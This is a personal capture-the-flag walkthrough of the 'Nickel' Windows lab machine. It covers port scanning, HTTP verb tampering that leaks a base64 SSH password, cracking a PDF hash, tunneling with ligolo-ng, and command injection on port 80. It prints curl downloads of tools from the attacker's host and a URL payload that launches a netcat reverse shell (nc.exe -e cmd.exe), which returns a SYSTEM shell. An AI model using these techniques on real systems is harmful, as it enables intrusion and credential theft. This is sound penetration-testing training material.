

Nickel

Key Takeaways

- pay attention to wording in errors they may point you in the right direction for exploitation, in this case is hinted at http verb tampering.
- Make sure to add netbios machine names to hosts file when discovered
- When introduced to something that seems like a finding, look at it more closely. Examine the entire output.
 - For me I didn't look at the proc dump output as closely as I should have the first time

Walk through

Target: **192.168.249.99**

Getting autorecon running, trying out some speed increase suggestions

```
autorecon 192.168.249.99 --nmap-append="--min-rate=5000" --dirbuster.threads=20 -v
```

running masscan while that goes

```
sudo masscan -p0-65535 192.168.249.99 --rate 1000 | tee 192.168.249.99_masscan
```

this didn't find anything hmm think maybe i need to consider some different flags or something

Running my default nmap scan

```
sudo nmap -sC -sV 192.168.249.99 -oA default_scripts  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 13:58 EDT
```

```

Nmap scan report for 192.168.249.99
Host is up (0.037s latency).
Not shown: 993 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp    open  ssh          OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
| 256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_ 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nickel
| Not valid before: 2025-08-12T17:49:44
|_ Not valid after: 2026-02-11T17:49:44
| rdp-ntlm-info:
| Target_Name: NICKEL
| NetBIOS_Domain_Name: NICKEL
| NetBIOS_Computer_Name: NICKEL
| DNS_Domain_Name: nickel
| DNS_Computer_Name: nickel
| Product_Version: 10.0.18362
|_ System_Time: 2025-08-13T17:58:41+00:00
|_ ssl-date: 2025-08-13T17:59:46+00:00; 0s from scanner time.
8089/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Site doesn't have a title.
|_ http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

```

```

Host script results:
| smb2-security-mode:
| 3:1:1:

```

```
|_ Message signing enabled but not required
| smb2-time:
|   date: 2025-08-13T17:58:42
|_ start_date: N/A
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 83.75 seconds

- 21 - A filezilla server
- 22 - ssh
- 135 rpc
- 139 smb
- 445 smb
- 3389 rdp
- 8089 a web server or proxy i imagine

FTP- 21 enum

Anonymous ftp failed

```
(kali@kali) - [~/pg/nickel]
$ ftp ftp@192.168.249.99
Connected to 192.168.249.99.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
331 Password required for ftp
Password:
530 Login or password incorrect!
ftp: Login failed
ftp> 
```

I tried ftp as well

SSH - 22

Tried sshing in as administrator using a couple of weak passwords

RPC - 135

Autorecon runs rpcdump so I go look at that output

I checked for information from the named pipes that are outlined in the notable rpc interfaces section on the pentesting msrpc hacktricks page, but didn't find anything notable

<https://hacktricks.boititech.com.br/pentesting/135-pentesting-msrpc>

SMB -139/445

Looking at the autorecon and nmap default script output for smb nothing of interest was reported.


Attempting manually to authenticate to the smb instance with a null session didnt work

```
nxc smb 192.168.249.99 -u '' -p ''
```

Also tried a guest session using a username that doesn't exist

```
nxc smb 192.168.249.99 -u 'na' -p ''
```

80 http



dev-api started at 2024-08-02T03:55:30


a blank page saying an api was started

8080 - a web server

Note at this point i was having some connection issues so i reverted the machine

Nmap identifies the server as : Microsoft-HTTPAPI/2.0

Going to the site I find there is a devops dashboard page



DevOps Dashboard


List Current Deployments

List Running Processes

List Active Nodes


clicking the links they lead nowhere

Looking at the source the links all go to an apipa address on port 33333




```
1 <h1>DevOps Dashboard</h1>
2 <hr>
3 <form action='http://169.254.46.210:33333/list-current-deployments' method='GET'>
4 <input type='submit' value='List Current Deployments'>
5 </form>
6 <br>
7 <form action='http://169.254.46.210:33333/list-running-procs' method='GET'>
8 <input type='submit' value='List Running Processes'>
9 </form>
10 <br>
11 <form action='http://169.254.46.210:33333/list-active-nodes' method='GET'>
12 <input type='submit' value='List Active Nodes'>
13 </form>
14 <hr>
```

navigating to this machines ip at port 33333 I get an error saying invalid token




Trying to go to the links outlined in the source but using the targets ip I get an error that I cannot get those pages



Cannot "GET" /list-active-nodes

That's a weird message to see and leads me to think that http verb tampering may be the path forward

Capturing the request in burp and then changing the method to a post I get a different error



Doing this for each of the 3 links outlined above

```
http://192.168.249.99:33333/list-current-deployments
http://192.168.249.99:33333/list-running-procs
http://192.168.249.99:33333/list-active-nodes
```

List-running-procs gives me some process logs that show the name of the process and the command being run

Notably in one of them, there appears to be some credentials

The screenshot shows the Burp Suite interface with a POST request to `/list-running-procs` and its response. The response is a JSON array of objects, each representing a process. One object is highlighted, showing the following details:


```
{
  "name": "cmd.exe",
  "commandline": "cmd.exe C:\\windows\\system32\\DevTasks.exe --deploy C:\\work\\dev.yaml --user ariah -p *Tm93aXNlU2xvb3BUaGVvcnkxMzkK* --server nickel-dev --protocol ssh"
}
```

The string `*Tm93aXNlU2xvb3BUaGVvcnkxMzkK*` is highlighted in blue. This is a base64-encoded string representing the password `ariah:Tm93aXNlU2xvb3BUaGVvcnkxMzkK`.

ariah:Tm93aXNlU2xvb3BUaGVvcnkxMzkK


and it outlines that this is for ssh as the protocol

highlighting the string in burp it decodes it from base64 to a password value



ariah:
NowiseSloopTheory139

I am able to ssh into the machine using these credentials




I also wanted to check if I could access the ftp server with these credentials and I was able to. There was a pdf file there so I downloaded it

```

(kali㉿kali) [~/pg/nickel]
$ ftp ariah@192.168.249.99
Connected to 192.168.249.99.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
331 Password required for ariah
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
220 Entering Extended Passive Mode (|||61111|)
150 Opening data channel for directory listing of "/"
-r--r--r-- 1 ftp ftp 46235 Sep 01 2020 Infrastructure.pdf
226 Successfully transferred "/"
ftp> get Infrastructure.pdf
local: Infrastructure.pdf remote: Infrastructure.pdf
220 Entering Extended Passive Mode (|||51058|)
150 Opening data channel for file download from server of "/Infrastructure.pdf"
100% |*****|
226 Successfully transferred "/Infrastructure.pdf"
46235 bytes received in 00:00 (653.02 KiB/s)
ftp>

```

Attempting to open the file it was password locked



extracting a hash from a pdf using pdf2john

```
pdf2john Infrastructure.pdf
```

```

Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*14350d814f7c974db9234e3e7
19e360b*32*6aa1a24681b93038947f76796470dbb100000000000000000000
00000000000000*32*d9363dc61ac080ac4b9dad4f036888567a2d468a6703
faf6216af1eb307921b0

```

Attempting to crack the hash with john the ripper

```
john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash
```

ariah4168 (Infrastructure.pdf)

I get the password from cracking the hash. Checking out the file, it looks like it tells me about the location of a nas as well as some other endpoints



Infrastructure Notes

Temporary Command endpoint: <http://nickel/>?

Backup system: <http://nickel-backup/backup>

NAS: <http://corp-nas/files>

At this point i realized a bit late that I haven't added nickel (which was found to be the netbios name for the target earlier) to my hosts file so i go do that

```

kali@kali: ~/pg/nickel
File Actions Edit View Help
kali@kali: ~ x kali@kali: ~/pg/nickel x c:\windows\system32\cmd.exe x kali@kali: ~/pg/nickel x
GNU nano 8.4 /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.249.99 nickel

```

The file looks like it is either taking a parameter in, or it is saying we dont yet know the name for the temporary command endpoint

The other links took me to blank pages which seems off considering cracking the file I would imagine this would lead me forward

I go back into sshing to the box

Looking at my users privileges

```

User Name      SID
=====
nickel\ariah S-1-5-21-2696774334-3254175373-101825863-1003

GROUP INFORMATION
-----
Group Name      Type      SID      Attributes
=====
Everyone        Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users   Alias      S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

PRIVILEGES INFORMATION
-----
Privilege Name      Description      State
=====
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled

```

Looking at network configuration there only one interface

at this point I moved winpeas over to get some automated enumeration going

```

ariah@NICKEL C:\Users\ariah\Desktop>ipconfig /all

Windows IP Configuration

    Host Name . . . . . : nickel
    Primary Dns Suffix . . . . . :
    Node Type . . . . . : Hybrid
    IP Routing Enabled. . . . . : No
    WINS Proxy Enabled. . . . . : No

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . :
    Description . . . . . : vmxnet3 Ethernet Adapter
    Physical Address. . . . . : 00-50-56-86-C6-C2
    DHCP Enabled. . . . . : No
    Autoconfiguration Enabled . . . . : Yes
    IPv4 Address. . . . . : 192.168.249.99(Preferred)
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.249.254
    DNS Servers . . . . . : 192.168.249.254
    NetBIOS over Tcpip. . . . . : Enabled

```

I moved winpeas over using a python web server and curl

```

#on kali
python3 -m http.server 80

#on target
curl http://<kali ip>/winpeas64.exe -O winpeas64.exe

```

Scrolling through the output one of the first things that stood out to me is that the NTLM signing settings were weak and it has send ntlmv2 responses only on

```

┌─┐ Enumerating NTLM Settings
LanmanCompatibilityLevel : (Send NTLMv2 response only - Win7+ default)

NTLM Signing Settings
ClientRequireSigning : False
ClientNegotiateSigning : True
ServerRequireSigning : False
ServerNegotiateSigning : False
LdapSigning : Negotiate signing (Negotiate signing)

Session Security
NTLMMinClientSec : 536870912 (Require 128-bit encryption)
NTLMMinServerSec : 536870912 (Require 128-bit encryption)

```

so I decided to run responder in the background encase it catches something, simulated client attacks can occur on some machines

```
sudo responder -l tun0
```

Taking a step back after digging a little, I look at the netstat output and realize that there is something on port 80 listening, but I didn't actually get a hit for that in my nmap output, that means potentially the firewall is blocking it.

```
Firewall Rules
Showing only DENY rules (too many ALLOW rules always)
Current Profiles: PUBLIC
FirewallEnabled (Domain): False
FirewallEnabled (Private): False
FirewallEnabled (Public): False
DENY rules:
```

winpeas says the firewall actually is disabled so that is peculiar

however, maybe this has something to do with the temporary command endpoint the document was calling out

Going back to the command output we got from the procdump earlier as well

```
Response
Pretty Raw Hex Render
35 name : lsass.exe
36 commandline : C:\Windows\system32\lsass.exe
37
38 name : fontdrvhost.exe
39 commandline : "fontdrvhost.exe"
40
41 name : fontdrvhost.exe
42 commandline : "fontdrvhost.exe"
43
44 name : dwm.exe
45 commandline : "dwm.exe"
46
47 name : powershell.exe
48 commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws80.
ps1
49
50 name : Memory Compression
51 commandline :
52
53 name : cmd.exe
54 commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:
\work\dev.yaml --user ariah -p
55 "Tm93aXNLU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh
56
57 name : powershell.exe
58 commandline : powershell.exe -nop -ep bypass C:
\windows\system32\ws8089.ps1
59
60 name : powershell.exe
61 commandline : powershell.exe -nop -ep bypass C:
\windows\system32\ws33333.ps1
62
63 name : FileZilla Server.exe
64 commandline :
```

we see 3 powershell scripts being run with the ports that we have identified as web servers, so it feels safe to say there is a web server running on port 80

its also worth noting that there is a path given here and now I have system access so i can go look at the code for those scripts

I opened a smb share on my kali machine and then copied the file to it on the target


```
#on kali
impacket-smbserver -smb2support smb .
```

#on target

```
PS C:\windows\system32> copy ws80.ps1 //192.168.45.156/smb
```

There is some routing going on and it looks like there is some command injection protection potentially.

But looking at the routing there is an upload file function as well so maybe we won't need to utilize command injection



```
57 # $FORMFIELD = ''
80 { # download file
106 { # check if file exists
108 {
124 {
125 # just ignore. Error handling comes afterwards since not every error throws an exception
126 }
127 if ($Error.Count -gt 0)
128 { # retrieve error message on error
129 $RESULT += "`nError while downloading '$FORMFIELD'`n`n"
130 $RESULT += $Error[0]
131 $Error.Clear()
132 }
133 }
134 else
135 {
136 # ... file not found
137 $RESULT = "File $FORMFIELD not found"
138 }
139 }
140 # preset form value with file path for the caller's convenience
141 $HTMLRESPONSE = $HTMLRESPONSE -replace '!FORMFIELD', $FORMFIELD
142 break
143 }
144 "GET /upload"
145 { # present upload form, nothing to do here
146 break
147 }
148 }
149 "POST /upload"
150 { # upload file
151 {
152 # only if there is body data in the request
153 if ($REQUEST.HasEntityBody)
154 {
155 # set default message to error message (since we just stop processing on error)
156 $RESULT = "Received corrupt or incomplete form data"
157 }
158 }
159 # check content type
```

We have ssh access to the machine so i could set up ssh port forwarding, but I like ligolo so I am going to go that route instead.

There was a new update to ligolo-ng as well which includes autorouting and a web interface so I wanted to play around with that

downloading new release:

Make sure to get the right agent for your target, and the right proxy for your attack box

<https://github.com/nicocha30/ligolo-ng/releases>

default login: ligolo:password

link to documentation

<https://docs.ligolo.ng/webui/>


Starting ligolo

```
sudo ./proxy -selfcert  
#might need to answer yes to some prompts
```

login using the default login above
set the api to what it specifies in the command output when you start the server

click the link to go to the webpage
authenticate as follows
username:ligolo
password:password
api: http://127.0.0.1:8080

Using the web interface to add a network interface to the machine



move the agent.exe file onto the target machine

```
#on kali
```

```
python3 -m http.server
```


```
#on target
```

```
curl http://<kali ip>/agent.ext -O agent.exe
```


run agent to connect back to our proxy

```
.\agent.exe -ignore-cert -connect 192.168.45.156:11601
```

If i Click on the agents tab now I can confirm that there was a connection back to my proxy server



I can then click on setup tunneling and apparently can add a network interface from there or setup auto routing if there was an internal network that I needed to access from this machine, but instead I am just port forwarding so its fine.




it says tunneling, but I thought that meant the process was occurring. Checking the status in the ligolo cmd line ensures that the tunnel is active.

```
[Agent : NICKEL\ariah@nickel] » tunnel_list
```

Active sessions and tunnels			
#	AGENT	INTERFACE	STATUS
1	NICKEL\ariah@nickel - 192.168.249.99:50315 - 00505686c6c2	ligolo2	Online

```
[Agent : NICKEL\ariah@nickel] »
```

Connecting to the nickel temporary end point as outlined in the pdf file and using the parameter to input commands like it suggest works



at this point I need to get a shell onto the system

We have the ssh user so I plan on using that access to put nc somewhere onto the machine and form a connection back to a listener

start a listener

```
rlwrap nc -lvnp 4444
```

I moved it over to ariahs home directory and then ran nc to form a connection using the following payload

```
http://nickel/?c:\users\ariah\nc.exe%20192.168.45.156%204444%20-e%20cmd.exe
```

```
(kali㉿kali)-[~/pg/nickel]
$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.156] from (UNKNOWN) [192.168.249.99] 50361
Microsoft Windows [Version 10.0.18362.1016]
(c) 2019 Microsoft Corporation. All rights reserved.



C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>ipconfig | findstr /i ipv4
ipconfig | findstr /i ipv4
    IPv4 Address. . . . . : 192.168.249.99

C:\Windows\system32>
```

VERY funnily, going back through this report early in my enumeration I was able to access the port 80 page without the tunnel despite it not showing up in my nmap scan.

I confirmed that I was able to go to the command injection page without the tunnel running



Still a fun excuse to play around with the new ligolo update though so I'm glad I did it.